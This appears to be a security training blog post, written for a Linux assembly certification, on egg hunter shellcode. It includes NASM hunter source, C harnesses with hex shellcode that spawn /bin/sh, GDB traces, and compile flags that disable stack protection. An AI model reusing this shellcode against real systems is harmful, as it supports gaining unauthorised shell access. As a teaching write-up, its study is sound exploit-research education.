Today, I would like to publish my research on Egg Hunter shellcodes.
Sometimes shellcode can be limited by free space given for injection, thus it has to be done in stages. First stage is to load a small shellcode (a hunter) which will be seeking for our main shellcode (a payload). In order to find the payload, hunter needs some marker (an egg). We will insert the egg right before the payload. Once egg found, we know the address of the payload and can execute it!
I wrote several versions of the hunter. You can get them from my github page The 1st one was written in a simple way which makes it easier to understand. However it does not make it robust enough. Remaining ones are more robust and safe, I will show them in the end of this article.
basic/hunter.nasm
; this is a snippet of the original file https://github.com/arno01/SLAE/blob/master/exam3/basic/hunter.nasm
section .data
egg1 equ "Egg-" ; DWORD Egg marker part1
egg2 equ "Mark" ; DWORD Egg marker part2
section .text
global _start
_start:
; Searching for the Egg marker
next:
inc eax ; Searching forward (can also try dec eax)
isEgg:
cmp dword [eax-8], egg1 ; Checking if we can see egg1
jne next ; If not, continuing to search
cmp dword [eax-4], egg2
jne next
call eax ; Once found, we call our payload
The usage (how to compile and run the shellcode) you can find in USAGE file
I’m going to show you here more interesting part – debugging a hunter with GDB. We will look at it during its execution in real time, trying to understand how it searches for the egg+payload.
So we’ve got a working shellcode.c file. Egg mark is “YummyEgg” 59756d6d79456767 in HEX. basic/shellcode.c
#include <stdio.h>
#include <string.h>
unsigned char hunter[] = "\x40\x81\x78\xf8\x59\x75\x6d\x6d\x75\xf6\x81\x78\xfc\x79\x45\x67\x67\x75\xed\xff\xd0";
unsigned char garbage1[] = "Just some garbage here...";
unsigned char payload[] = "\x59\x75\x6d\x6d\x79\x45\x67\x67\x31\xc0\xb0\x0b\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xcd\x80";
unsigned char garbage2[] = "And some garbage there...";
main()
{
printf("Hunter Length: %d\n", strlen(hunter));
printf("Payload Length: %d\n", strlen(payload));
int (*ret)() = (int(*)())hunter;
ret();
}
Compile and run shellcode with debugger, while setting up disassembly flavor, defining hoop-stop that will show you necessary output every ‘stepi’ during the run. To watch the hunter’s execution, we set a ‘break’ for it. And we will be interested in registers like $eax (current memory pointer from which hunter scans for an Egg mark), also $eax-4 and $eax-8 (first and last 4 bytes of the Egg mark that hunter compares his Egg mark with).
basic$ gdb -q ./shellcode
set disassembly-flavor intel
define hook-stop
disassemble $eip,+25
end
break hunter
display /xw $eax
display /xw $eax-4
display /xw $eax-8
run
stepi
...enter
...enter
Below you can see that debug starts as we wanted it, from < hunter+0>
(gdb) run
Starting program: /home/arno/devel/shellcode/SLAE/exam3/basic/shellcode
Hunter Length: 21
Payload Length: 36
Dump of assembler code from 0x8049700 to 0x8049719:
=> 0x08049700 <hunter+0>: inc eax
0x08049701 <hunter+1>: cmp DWORD PTR [eax-0x8],0x6d6d7559
0x08049708 <hunter+8>: jne 0x8049700
0x0804970a <hunter+10>: cmp DWORD PTR [eax-0x4],0x67674579
0x08049711 <hunter+17>: jne 0x8049700
0x08049713 <hunter+19>: call eax
0x08049715 <hunter+21>: add BYTE PTR [edx+0x75],cl
0x08049718 <garbage1+2>: jae 0x804978e
Hunter starts to search for an Egg from the location where it resides in memory
1: x/xw $eax 0x8049700 : 0xf8788140
1: x/xw $eax 0x8049701 <hunter+1>: 0x59f87881
1: x/xw $eax 0x8049702 <hunter+2>: 0x7559f878
Reaches the end of a hunter (which is 21 bytes in size)
1: x/xw $eax 0x8049715 <hunter+21>: 0x73754a00
Then goes through garbage1 as supposed (You can see garbage1 & 2 in shellcode.c above)
1: x/xw $eax 0x8049716 : 0x7473754a
1: x/xw $eax 0x8049717 <garbage1+1>: 0x20747375
1: x/xw $eax 0x8049718 <garbage1+2>: 0x73207473
1: x/xw $eax 0x8049719 <garbage1+3>: 0x6f732074
...
1: x/xw $eax 0x804972c <garbage1+22>: 0x002e2e2e
1: x/xw $eax 0x804972d <garbage1+23>: 0x00002e2e
1: x/xw $eax 0x804972e <garbage1+24>: 0x0000002e
1: x/xw $eax 0x804972f <garbage1+25>: 0x00000000
Continues...
1: x/xw $eax 0x804973e: 0x75590000
1: x/xw $eax 0x804973f: 0x6d755900
stepi..
Great, hunter has now reached our payload which starts with the egg :-)
1: x/xw $eax 0x8049740 : 0x6d6d7559
1: x/xw $eax 0x8049741 <payload+1>: 0x796d6d75
...
...
0x08049711 in hunter ()
3: x/xw $eax-8 0x8049740 : 0x6d6d7559
2: x/xw $eax-4 0x8049744 <payload+4>: 0x67674579
1: x/xw $eax 0x8049748 <payload+8>: 0x0bb0c031
(gdb)
Dump of assembler code from 0x8049713 to 0x804972c:
=> 0x08049713 <hunter+19>: call eax
0x08049715 <hunter+21>: add BYTE PTR [edx+0x75],cl
0x08049718 <garbage1+2>: jae 0x804978e
0x0804971a <garbage1+4>: and BYTE PTR [ebx+0x6f],dh
0x0804971d <garbage1+7>: ins DWORD PTR es:[edi],dx
0x0804971e <garbage1+8>: and BYTE PTR gs:[edi+0x61],ah
0x08049722 <garbage1+12>: jb 0x8049786 <dtor_idx.5989+2>
0x08049724 <garbage1+14>: popa
0x08049725 <garbage1+15>: and BYTE PTR gs:[bx+si+0x65],ch
0x0804972a <garbage1+20>: jb 0x8049791
End of assembler dump.
0x08049713 in hunter ()
3: x/xw $eax-8 0x8049740 : 0x6d6d7559
2: x/xw $eax-4 0x8049744 <payload+4>: 0x67674579
1: x/xw $eax 0x8049748 <payload+8>: 0x0bb0c031
Egg mark is “YummyEgg” 59756d6d79456767 in HEX. $eax-8 = 0x67674579 ; ‘yEgg’ in reverse byte order (Little Endian) $eax-4 = 0x6d6d7559 ; ‘Yumm’ in reverse byte order (Little Endian) $eax = 0x8049748 ; $eax points now to our main shellcode < payload+8> that starts right after the egg
Voila! Egg mark found, time to call the main shellcode (payload)
Dump of assembler code from 0x8049748 to 0x8049761:
=> 0x08049748 <payload+8>: xor eax,eax
0x0804974a <payload+10>: mov al,0xb
0x0804974c <payload+12>: xor edx,edx
0x0804974e <payload+14>: push edx
0x0804974f <payload+15>: push 0x68732f6e
0x08049754 <payload+20>: push 0x69622f2f
0x08049759 <payload+25>: mov ebx,esp
0x0804975b <payload+27>: push edx
0x0804975c <payload+28>: push ebx
0x0804975d <payload+29>: mov ecx,esp
0x0804975f <payload+31>: push edx
0x08049760 <payload+32>: mov edx,esp
stepi..
Once our 36 byte sized payload finishes, you can also notice that there is our garbage2 section presents in memory as expected.
Dump of assembler code from 0x8049762 to 0x804977b:
=> 0x08049762 <payload+34>: int 0x80
0x08049764 <payload+36>: add BYTE PTR [ecx+0x6e],al
0x08049767 <garbage2+2>: and BYTE PTR fs:[ebx+0x6f],dh
0x0804976b <garbage2+6>: ins DWORD PTR es:[edi],dx
0x0804976c <garbage2+7>: and BYTE PTR gs:[edi+0x61],ah
0x08049770 <garbage2+11>: jb 0x80497d4
0x08049772 <garbage2+13>: popa
0x08049773 <garbage2+14>: and BYTE PTR gs:[si+0x68],dh
0x08049778 <garbage2+19>: gs
0x08049779 <garbage2+20>: jb 0x80497e0
Unfortunately, the basic Egg hunter can SEGFAULT while scanning the memory (in fact Virtual address space (VAS) )
To avoid this, the hunter must to scan only accessible memory pages. This memory access check can be done with “access” syscall. By the way, the page size is equal to 4k
$ getconf PAGESIZE
4096
Here is a code of improved hunter that will never fail while scanning the whole memory. access/hunter.nasm
; this is a snippet of the original file https://github.com/arno01/SLAE/blob/master/exam3/access/hunter.nasm
section .data
egg1 equ "Egg-" ; DWORD Egg marker part1
egg2 equ "Mark" ; DWORD Egg marker part2
section .text
global _start
_start:
xor edx, edx ; Searching the whole memory
; We will scan memory page-by-page and only accessible pages will be scanned for the Egg marker
nextPage:
or dx, 0xfff ; The same as "add dx, 4095" (PAGE_SIZE)
nextAddr:
inc edx ; Searching forward
; Checking if memory is accessible
push byte +0x21 ; 0x21 = 33 = __NR_access
pop eax ; EAX points to 0x21
lea ebx, [edx+0x8] ; next address to check
xor ecx, ecx ; 0: mode = F_OK
int 0x80
cmp al, -14 ; -14 = EFAULT = Bad address. See /usr/include/asm-generic/errno-base.h
jz nextPage
; Searching for the Egg marker (in current page of memory which is accessible)
cmp dword [edx], egg1
jne nextAddr
cmp dword [edx+0x4], egg2
jne nextAddr
lea ecx, [edx+0x8]
jmp ecx
Another very important problem to solve is to avoid “endless loop” in case if the Egg marker is missing/corrupted or cannot be found for another reason.
access-noloop/hunter.nasm
; this is a snippet of the original file https://github.com/arno01/SLAE/blob/master/exam3/access-noloop/hunter.nasm
section .data
egg1 equ "Egg-" ; DWORD Egg marker part1
egg2 equ "Mark" ; DWORD Egg marker part2
section .text
global _start
_start:
; function Prologue
push ebp
mov ebp, esp
; preserve registers and flags
pushad
pushfd
; Used for cmp edx, esi below
push 0xfffefff
pop esi
inc esi
xor edx, edx ; Searching the whole memory
; We will scan memory page-by-page and only accessible pages will be scanned for the Egg marker
nextPage:
; cmp edx, 0xffff000
cmp edx, esi ; We don't want NULL bytes
jz Return ; Egg Hunter will go for retirement (i.e. we simply prevent forever-loop in case if there is no Egg)
or dx, 0xfff ; The same as "add dx, 4095" (PAGE_SIZE)
nextAddr:
inc edx ; Searching forward
; Checking if memory is accessible
push byte +0x21 ; 0x21 = 33 = __NR_access
pop eax ; EAX points to 0x21
lea ebx, [edx+0x8] ; next address to check
xor ecx, ecx ; 0: mode = F_OK
int 0x80
cmp al, -14 ; -14 = EFAULT = Bad address. See /usr/include/asm-generic/errno-base.h
jz nextPage
; Searching for the Egg marker (in current page of memory which is accessible)
cmp dword [edx], egg1
jne nextAddr
cmp dword [edx+0x4], egg2
jne nextAddr
lea ecx, [edx+0x8]
jmp ecx
Return:
; restore registers and stack
popfd
popad
; function Epilogue
mov esp, ebp
pop ebp
ret
Compiling and testing our Egg hunter under normal circumstances
access-noloop$ ./make.sh "HereItIs"
[I] Using custom EGG mark: HereItIs
[+] Compiling payload.nasm ...
[+] Compiling hunter.nasm ...
[+] Extracting PAYLOAD code from payload ...
[+] Adding EGG mark to PAYLOAD ...
[+] Checking PAYLOAD code for NULLs ...
[+] Extracting HUNTER code from hunter ...
[+] Checking HUNTER code for NULLs ...
[+] Compiling shellcode.c ...
-rwx------. 1 arno arno 5260 Mar 28 13:01 ./shellcode
[+] All done!
access-noloop$ ./shellcode
Hunter Length: 66
Payload Length: 36
sh-4.1$
Now we will change 1st byte of our payload, which contains “HereItIs” Egg mark. ( “H” in HEX is 0×48 )
Before
payload[] = “\x48.…
After (we pick random value – 12)
payload[] = “**x12**.…
access-noloop/shellcode.c
#include
#include
unsigned char hunter[] = "\x55\x89\xe5\x60\x9c\x68\xff\xef\xff\x0f\x5e\x46\x31\xd2\x39\xf2\x74\x2a\x66\x81\xca\xff\x0f\x42\x6a\x21\x58\x8d\x5a\x08\x31\xc9\xcd\x80\x3c\xf2\x74\xe8\x81\x3a\x48\x65\x72\x65\x75\xe9\x81\x7a\x04\x49\x74\x49\x73\x75\xe0\x8d\x4a\x08\xff\xe1\x9d\x61\x89\xec\x5d\xc3";
unsigned char garbage1[] = "Just some garbage here...";
unsigned char payload[] = "\x12\x65\x72\x65\x49\x74\x49\x73\x31\xc0\xb0\x0b\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xcd\x80";
unsigned char garbage2[] = "And some garbage there...";
main()
{
printf("Hunter Length: %d\n", strlen(hunter));
printf("Payload Length: %d\n", strlen(payload));
int (*ret)() = (int(*)())hunter;
ret();
printf("NO LOOP!\n");
}
Compile it and execute with timer
noloop$ gcc -m32 -fno-stack-protector -z execstack shellcode.c -o shellcode
noloop$ time ./shellcode
Hunter Length: 66
Payload Length: 36
NO LOOP!
real 0m2.582s
user 0m0.244s
sys 0m2.288s
As you can see it takes about 2.5s to scan the whole memory (VAS ) And as hunter could not find egg, it escaped back to a process printing “NO LOOP!” message.
Problem solved.
That’s all for now. For the rest of the Egg hunter code sources, including scasd Egg hunter, please check my github exam3 page
I would like to Thank skape for his nice PDF document – egghunt-shellcode.pdf
and Geyslan (Geyslan G Bem) for his well commented hunter (He is also working over SLAE assignments) Geyslan’s page
This page has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-323